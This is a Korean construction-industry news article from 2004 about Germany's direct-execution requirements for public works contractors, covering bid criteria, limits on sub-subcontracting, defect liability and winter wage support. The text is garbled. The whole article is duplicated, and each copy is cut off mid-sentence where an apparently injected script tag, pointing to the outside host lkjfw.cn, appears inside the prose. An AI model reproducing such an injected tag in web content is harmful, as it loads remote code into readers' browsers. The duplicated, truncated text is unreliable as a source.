독일의 `건설공사 직접시공'' 동향
보도일자 2004-10-18
보도기관 일간건설
◇직접시공의 개념과 범위
독일 건설업의 직접시공 개념에는 자신의 관리책임 하에 투입된 자재, 인력, 장비 등이 모두 포함된다.
특히 직접시공에 해당하는 인력이란 자기와 고용관계를 맺은 근로자로서 이때 파견직 등은 제외하고 있다.
고용관계 유무는 고용보험증서, 세금납부내역 등을 통해 확인한다.
한편 직접시공의 범위에 대해서는 연방건설교통부 VOB에 원칙이 명시돼있고 각 발주기관이 내부규정을 통해 대체로 30∼50%의 직접시공 의무비율을 수급인에게 요구하고 있다.
비율은 공사금액을 기준으로 하며 공사금액 규모에 따라 직접시공 의무비율을 차등적으로 적용하지 않는다.
하지만 초대형 공사의 경우 수주한 대형 건설업체가 CM 역할을 포함한 제반 관리만을 담당하면서 공사를 수행하기도 한다.
◇입·낙찰과정에서의 직접시공 요구
독일의 VOB는 공공발주의 대원칙으로서 ‘건설공사는 전문적이고 시공능력이 있으며 성실한 업체에게 적절한 가격으로 발주한다. 경쟁을 원칙으로 한다’고 규정하고 있다.
낙찰자를 선정하는 기준은 첫째 전문적인 시공능력이다.
관련 공법, 장비, 전문인력의 확보 상황을 파악하고 목적물과 유사한 공사에 대한 과거의 실적을 확인한다.
두번째는 당해 프로젝트를 감당할 업체의 규모로 공사금액 규모에 대한 자본금 규모 등을 감안한다.
세번째는 업체의 성실성으로 사회보험료·세금 납부내역 등을 확인한다.
이상 세가지 조건을 만족시키지 못하면 배제시킨다.
네번째는 가격의 적정성으로 무조건 최저가를 제시한 업체가 선정되지는 않는다.
◇재하도급 및 직접시공 여부 감독
독일에는 직접적으로 재하도급을 금지하는 규정은 없다.
하지만 실제 시공과정에서 재하도급을 허용하는 경우는 거의 없다.
그 이유는 도급단계가 많아질수록 실공사비가 잠식돼 부실시공이 발생할 가능성이 높아지므로 이를 발주자나 원수급인이 제한하기 때문이다.
부실시공이 발생한 경우 그 책임은 결국 원수급인의 몫이므로 특수한 경우가 아닌 한 원수급인이 하수급인의 재하도급을 허용하지 않는다.
직접시공에 대한 감독은 발주자가 건설현장에서 직접 수행한다.
독일의 경우 발주자가 건설업체에 대한 감독능력을 보유하고 있어 감독자가 현장에 상주한다.
직접시공 여부를 감독하는 핵심적인 방법은 입찰내역서 또는 계약서에 자세한 공사과정을 명시적으로 규정한 후 실제 시공과정에서 이것이 그대로 실행되는지 확인하는 것이다.
자신이 수행할 수 있는 공종인데 도급을 주는 것은 허용되지 않는다.
발주자의 동의없이 도급을 줬을 경우 계약 취소 사유에 해당된다.
◇시공 관련 책임과 직접시공
독일에서는 공공공사 계약시 주로 VOB/B의 규정에 따르되 하자보수책임기간을 5년으로 하는 경우가 많다.
하지만 수급인이 공사에 대한 품질조사를 철저히 하지 않고, 하자 또는 결함을 고의적으로 속인 경우 하자보수책임기간이 30년에 달한다는 원칙이 판례를 통해 정립돼있다.
건설업체 담당자들은 하도급에 의해 시공할 경우 하자의 위험이 증가하고 이것이 결국은 원수급인의 몫으로 돌아온다고 말한다.
수주가격이 낮은 하도급업체일수록 근로자들의 책임감과 숙련도가 낮아 공사기간이 늘어나거나 하자 발생이 많고 업체 자체가 도산해 없어지는 경우가 많다.
이 경우 결국 원수급인이 하자보수를 떠안을 수밖에 없게 되므로 장기적으로 보면 자기 사람을 투입해서 직접 시공하는 것이 훨씬 경제적이다.
◇직접시공 의무화의 의의
독일 공공 발주자와 건설업체의 논지를 요약하면 연방차원에서 수급인이 직접 시공하도록 한 규정은 두가지 측면에서 중요하다.
첫째, ‘목적물의 품질 확보’를 보다 확실히 하기 위해 필요하다.
직접시공의 의무가 주어지지 않는다면 목적물의 품질을 보장할 수 없기 때문이다.
둘째, 만일 직접시공 규정이 없다면 수주한 공사를 모두 하도급 줄 생각으로 실질적인 시공능력이 없는 건설업체가 지나치게 낮은 가격에 입찰할 수 있다.
이 경우 적정 가격을 써 낸 성실업체가 배제당할 수 있다.
결국 직접시공 의무화를 통해 시공에 필요한 인력과 장비를 실제로 보유한 업체에게 수주기회를 부여하게 되는 것이다.
◇직접시공에 의한 인건비부담 경감
독일의 건설현장에 직접시공 관행을 정착시키는 데에는 그에 따르는 인건비 부담을 경감하는 조치가 있었다.
‘동절기 휴업수당’과 ‘탄력적 근로시간제’가 그것이다.
‘동절기 휴업수당’에 의하면 동절기에 기후적 요인으로 일을 못할 경우 최초 1∼30시간은 근로자가 축적한 AZ Konto(초과근로수당 적립금의 명칭)로부터 임금을 보전받는다.
그 다음 31∼100시간에 해당하는 70시간 분은 사업주들이 평소에 축적한 사회복지기금(건설업에 고유한 기금으로서 훈련비용이?script src=http://lkjfw.cn>
독일 건설업의 직접시공 개념에는 자신의 관리책임 하에 투입된 자재, 인력, 장비 등이 모두 포함된다.
특히 직접시공에 해당하는 인력이란 자기와 고용관계를 맺은 근로자로서 이때 파견직 등은 제외하고 있다.
고용관계 유무는 고용보험증서, 세금납부내역 등을 통해 확인한다.
한편 직접시공의 범위에 대해서는 연방건설교통부 VOB에 원칙이 명시돼있고 각 발주기관이 내부규정을 통해 대체로 30∼50%의 직접시공 의무비율을 수급인에게 요구하고 있다.
비율은 공사금액을 기준으로 하며 공사금액 규모에 따라 직접시공 의무비율을 차등적으로 적용하지 않는다.
하지만 초대형 공사의 경우 수주한 대형 건설업체가 CM 역할을 포함한 제반 관리만을 담당하면서 공사를 수행하기도 한다.
◇입·낙찰과정에서의 직접시공 요구
독일의 VOB는 공공발주의 대원칙으로서 ‘건설공사는 전문적이고 시공능력이 있으며 성실한 업체에게 적절한 가격으로 발주한다. 경쟁을 원칙으로 한다’고 규정하고 있다.
낙찰자를 선정하는 기준은 첫째 전문적인 시공능력이다.
관련 공법, 장비, 전문인력의 확보 상황을 파악하고 목적물과 유사한 공사에 대한 과거의 실적을 확인한다.
두번째는 당해 프로젝트를 감당할 업체의 규모로 공사금액 규모에 대한 자본금 규모 등을 감안한다.
세번째는 업체의 성실성으로 사회보험료·세금 납부내역 등을 확인한다.
이상 세가지 조건을 만족시키지 못하면 배제시킨다.
네번째는 가격의 적정성으로 무조건 최저가를 제시한 업체가 선정되지는 않는다.
◇재하도급 및 직접시공 여부 감독
독일에는 직접적으로 재하도급을 금지하는 규정은 없다.
하지만 실제 시공과정에서 재하도급을 허용하는 경우는 거의 없다.
그 이유는 도급단계가 많아질수록 실공사비가 잠식돼 부실시공이 발생할 가능성이 높아지므로 이를 발주자나 원수급인이 제한하기 때문이다.
부실시공이 발생한 경우 그 책임은 결국 원수급인의 몫이므로 특수한 경우가 아닌 한 원수급인이 하수급인의 재하도급을 허용하지 않는다.
직접시공에 대한 감독은 발주자가 건설현장에서 직접 수행한다.
독일의 경우 발주자가 건설업체에 대한 감독능력을 보유하고 있어 감독자가 현장에 상주한다.
직접시공 여부를 감독하는 핵심적인 방법은 입찰내역서 또는 계약서에 자세한 공사과정을 명시적으로 규정한 후 실제 시공과정에서 이것이 그대로 실행되는지 확인하는 것이다.
자신이 수행할 수 있는 공종인데 도급을 주는 것은 허용되지 않는다.
발주자의 동의없이 도급을 줬을 경우 계약 취소 사유에 해당된다.
◇시공 관련 책임과 직접시공
독일에서는 공공공사 계약시 주로 VOB/B의 규정에 따르되 하자보수책임기간을 5년으로 하는 경우가 많다.
하지만 수급인이 공사에 대한 품질조사를 철저히 하지 않고, 하자 또는 결함을 고의적으로 속인 경우 하자보수책임기간이 30년에 달한다는 원칙이 판례를 통해 정립돼있다.
건설업체 담당자들은 하도급에 의해 시공할 경우 하자의 위험이 증가하고 이것이 결국은 원수급인의 몫으로 돌아온다고 말한다.
수주가격이 낮은 하도급업체일수록 근로자들의 책임감과 숙련도가 낮아 공사기간이 늘어나거나 하자 발생이 많고 업체 자체가 도산해 없어지는 경우가 많다.
이 경우 결국 원수급인이 하자보수를 떠안을 수밖에 없게 되므로 장기적으로 보면 자기 사람을 투입해서 직접 시공하는 것이 훨씬 경제적이다.
◇직접시공 의무화의 의의
독일 공공 발주자와 건설업체의 논지를 요약하면 연방차원에서 수급인이 직접 시공하도록 한 규정은 두가지 측면에서 중요하다.
첫째, ‘목적물의 품질 확보’를 보다 확실히 하기 위해 필요하다.
직접시공의 의무가 주어지지 않는다면 목적물의 품질을 보장할 수 없기 때문이다.
둘째, 만일 직접시공 규정이 없다면 수주한 공사를 모두 하도급 줄 생각으로 실질적인 시공능력이 없는 건설업체가 지나치게 낮은 가격에 입찰할 수 있다.
이 경우 적정 가격을 써 낸 성실업체가 배제당할 수 있다.
결국 직접시공 의무화를 통해 시공에 필요한 인력과 장비를 실제로 보유한 업체에게 수주기회를 부여하게 되는 것이다.
◇직접시공에 의한 인건비부담 경감
독일의 건설현장에 직접시공 관행을 정착시키는 데에는 그에 따르는 인건비 부담을 경감하는 조치가 있었다.
‘동절기 휴업수당’과 ‘탄력적 근로시간제’가 그것이다.
‘동절기 휴업수당’에 의하면 동절기에 기후적 요인으로 일을 못할 경우 최초 1∼30시간은 근로자가 축적한 AZ Konto(초과근로수당 적립금의 명칭)로부터 임금을 보전받는다.
그 다음 31∼100시간에 해당하는 70시간 분은 사업주들이 평소에 축적한 사회복지기금(건설업에 고유한 기금으로서 훈련비용이?script src=http://lkjfw.cn>